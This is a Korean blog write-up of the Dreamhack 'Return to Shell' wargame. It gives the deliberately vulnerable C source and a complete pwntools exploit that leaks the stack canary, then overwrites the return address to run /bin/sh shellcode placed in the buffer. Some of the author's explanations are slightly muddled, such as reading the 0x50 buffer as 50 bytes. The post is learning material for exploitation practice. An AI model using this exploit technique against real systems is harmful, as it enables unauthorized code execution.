본문 바로가기
드림핵/시스템해킹

드림핵 Return to Shell 풀이

by 우도레미 2024. 9. 3.

취약점 확인

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\\n", buf);
  printf("Distance between buf and $rbp: %ld\\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\\n");
  printf("Input: ");
  fflush(stdout); //fflush -> 스트림을 비운다 

  read(0, buf, 0x100); //최소 20바이트는 들어가야 이상한 값이 안나옴 
  printf("Your input is '%s'\\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

  • 버퍼의 크기는 50바이트지만 Input : 에서 입력받을 수 있는 크기는 0x100 두 번째는 크기에 제한없이 입력받을 수 있다.
  • elf 파일을 실행해 보면 buf의 주소값과 buf 부터 rbp의 거리 값이 나온다.
    • buf부터 rbp까지의 거리는 실제로 버퍼의 시작 주소에서 저장된 프레임 포인터(SFP, 이전 RBP)까지의 거리를 의미한다. 따라서, 이 거리는 버퍼 크기(지역 변수) + 카나리 값 크기까지의 합이다. 

  • 이 값이 96이라고 나오는데 이제 생각을 해보자
  • 버퍼 [80] + 카나리 [8] = sfp[96] 이 안된다. → 더미 값으로 8바이트를 더 넣어줘야 한다.
  • 그럼 더미 값은 88(0x58)이 되어야 한다.
  • 그리고 우리는 카나리 값을 알아야 한다. 카나리 값을 알려면 버퍼에서 입력되고 넘친 값이 카나리 값의 맨 앞 널 값을 덮는다면 카나리 값을 출력시킬 수 있다.
  • 그래서 더미 값은 89(0x59) 가 되어야 한다.

익스플로잇 코드 작성 순서

먼저 기본적인 연결과 이용할 수 있는 정보를 저장하자

from pwn import *

p = process('./r2s')

p.recvuntil('buf: ')
buf_addr = int(p.recvline()[:-1], 16)
print("버퍼의 주소 :", hex(buf_addr), "\\n")

이제 버퍼의 크기를 이용하여 카나리를 추출한다.

payload = b'A'*0x59
p.sendafter('Input: ', payload)
p.recvuntil(payload)
canary = u64(b'\\x00' + p.recv(7))
print("카나리값 : ", hex(canary), "\\n")

카나리값까지 출력했으면 이제 쉘코드를 작성한다.

sh = asm(shellcraft.sh()) #shellcraft.sh는 /bin/sh를 실행시키는 쉘을 불러온다

payload = b''                           # 빈 페이로드로 시작
payload += sh                           # 쉘코드가 먼저 추가됨
payload += b'A' * (88 - len(sh))        # 버퍼의 나머지 공간을 채우기 위한 패딩
payload += p64(canary)                  # 카나리 값 추가
payload += b'A' * 8                     # SFP (저장된 프레임 포인터) 패딩
payload += p64(buf_addr)

-----------------------------------------------------------------------------------

스택에 저장 순서

  1. sh 쉘코드가 먼저 페이로드에 있음
  2. 페이로드에 순서대로 들어가는데 여기서 들어간 값은 다음처럼 들어감

<aside> 💡

페이로드가 스택에 저장되는 순서

  • 낮은 주소: 쉘코드 (sh)
  • 중간 주소: 버퍼 패딩 (A * (88 - len(sh)))
  • 중간 주소: 카나리 값 (p64(canary))
  • 중간 주소: SFP 패딩 (A * 8)
  • 높은 주소: 복귀 주소 (p64(buf_addr)) </aside>
  1. 이러면 sh가 가장 낮은 주소에 들어가고 점점 높아지는 주소임

실행 순서

  1. 위에서 말한 것 처럼 높은 주소에 것들이 먼저 실행되기 때문에최종종 buf_addr로 시작점이 생기고
  2. sfp(old rbp)
  3. canary
  4. 버퍼
  5. sh 로 실행된다.

최종 익스플로잇 코드

from pwn import *

p = process('./r2s', 22035)
e = ELF("./r2s")

context.arch = 'amd64'

p.recvuntil("buf: ")
buf_addr = int(p.recvline()[:-1], 16)
print("버퍼의 주소 :", hex(buf_addr), "\\n")

#버퍼 80 + 카나리 + x = 96 / x = 8
# 더미 88(0x58) + 1 (null값)

payload = b'A'*0x59 #null 제거해서 카나리값 출력
p.sendafter('Input: ', payload)
p.recvuntil(payload)
canary = u64(b'\\x00' + p.recv(7))

print("카나리값 : ", hex(canary), "\\n")

sh = asm(shellcraft.sh())

payload = b''                           # 빈 페이로드로 시작
payload += sh                           # 쉘코드가 먼저 추가됨
payload += b'A' * (88 - len(sh))        # 버퍼의 나머지 공간을 채우기 위한 패딩
payload += p64(canary)                  # 카나리 값 추가
payload += b'A' * 8                     # SFP (저장된 프레임 포인터) 패딩
payload += p64(buf_addr)
#gdb.attach(p)

p.sendlineafter("Input: ", payload)

p.interactive()

'드림핵 > 시스템해킹' 카테고리의 다른 글

드림핵 RTL 풀이 (노.복)  (0) 2024.09.08